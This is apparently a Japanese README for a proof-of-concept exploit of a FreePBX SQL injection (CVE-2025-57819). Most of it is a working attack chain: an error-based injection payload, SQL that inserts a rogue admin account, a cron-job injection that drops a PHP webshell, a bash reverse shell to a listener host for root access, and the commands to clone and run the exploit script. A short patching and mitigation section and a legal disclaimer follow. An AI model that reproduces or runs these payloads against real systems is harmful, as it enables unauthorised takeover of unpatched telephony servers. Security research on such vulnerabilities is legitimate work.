
CVE-2025-57819 FreePBX SQLi RCE PoC
教育およびセキュリティ研究専用 - 以下の法的通知を参照
CVE-2025-57819のエクスプロイト概念実証です。これはFreePBXにおける重大な未認証SQLインジェクションの脆弱性であり、リモートコード実行を可能にします。このPoCは、公式パッチがリリースされた後に、セキュリティ研究および許可されたテスト目的のみで公開されています。
FreePBXバージョン15.x、16.x、17.x(パッチ未適用版)は、エンドポイントモジュールのAJAXハンドラにおける未認証SQLインジェクションの影響を受けます。この脆弱性チェーンにより以下が可能になります:
| CVE識別子 | CVE-2025-57819 |
| 種類 | 未認証SQLインジェクション(エラーベース) |
| CVSS | 9.8 / 10.0 (重大) |
| 影響を受けるバージョン | FreePBX 15 < 15.0.66, 16 < 16.0.89, 17 < 17.0.3 |
| 修正バージョン | 15.0.66, 16.0.89, 17.0.3+ |
| CISA KEV | はい(2025年8月29日) |
GET /admin/ajax.php?brand=<PAYLOAD>
エンドポイントモジュールのAJAXハンドラにおけるbrandパラメータはユーザー入力を検証せずに受け入れ、エラーベースのSQLインジェクションを引き起こします。
EXTRACTVALUE()によるエラーベース抽出を使用してSQLiを確認し、データベース名を漏洩します:
x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -
新しい管理ユーザーをasterisk.ampusersに挿入:
INSERT INTO ampusers (username, password_hash, admin)
VALUES ('pbx_xxxxxxxx', '<MD5_HASH>', 1)
有効な管理者認証情報を使用して、エクスプロイトはFreePBXに認証し、認証セッションを確立します。セッションクッキーは保存され、後続のすべての認証済みリクエストに使用されます。
Webshellコマンドをasterisk.cron_jobsに注入:
INSERT INTO cron_jobs (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES ('sysadmin', 'wx', 'echo <BASE64_WEBSHELL>|base64 -d >/var/www/html/shell.php', NULL, '* * * * *', 30, 1, 1)
FreePBXのcronランナーがasteriskユーザーとしてコマンドを実行し、PHP Webshellを配置します。
PHP Webshellが/var/www/html/shell.phpにデプロイされます:
<?php system($_GET['cmd']); ?>
エクスプロイトはアクティベーションまでWebshellをポーリングし、asteriskユーザー(uid=999)としてRCEを達成します。
ターゲットにincronが設定されている場合:
/var/spool/asterisk/incron/ にトリガーファイルを作成incrond(rootとして実行)がファイル作成を検出/usr/bin/sysadmin_manager を呼び出しsysadmin_manager がGPG署名を検証し、fwconsole-commandsフックにディスパッチ/usr/sbin/fwconsole <COMMAND>help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1結果: リバースリスナー上でルートシェル(incronが利用可能な場合)。
brandパラメータに対する入力検証の欠如asterisk.cron_jobsテーブルがasteriskとしてコマンドを実行git clone https://github.com/JazzTheRabbit/cve-2025-57819.git
cd cve-2025-57819
pip3 install requests
chmod +x JTR-CVE-2025-57819.py
# Setup Netcat Listener
nc -lvnp <Listener Port>
# Run The Exploit
python3 JTR-CVE-2025-57819.py <TARGET_IP> <YOUR_IP> <PORT>

| バージョン |
|---|
即時対応:
/admin/ajax.phpへのアクセスを制限systemctl disable incrond恒久的対策: 修正済みバージョン(15.0.66+、16.0.89+、17.0.3+)にアップグレード
⚠️ 免責事項
この概念実証は許可されたセキュリティテストおよび教育目的のみで提供されます。著者は、このツールの誤用または損害について一切の責任を負いません。
遵守すべき事項:
禁止行為:
責任免除: 著者は以下について責任を負いません:
この脆弱性は:
JazzTheRabbit
MITライセンス
| ステータス |
|---|
| 15.0.0 - 15.0.65 | 脆弱 |
| 15.0.66+ | 修正済み |
| 16.0.0 - 16.0.88 | 脆弱 |
| 16.0.89+ | 修正済み |
| 17.0.0 - 17.0.2 | 脆弱 |
| 17.0.3+ | 修正済み |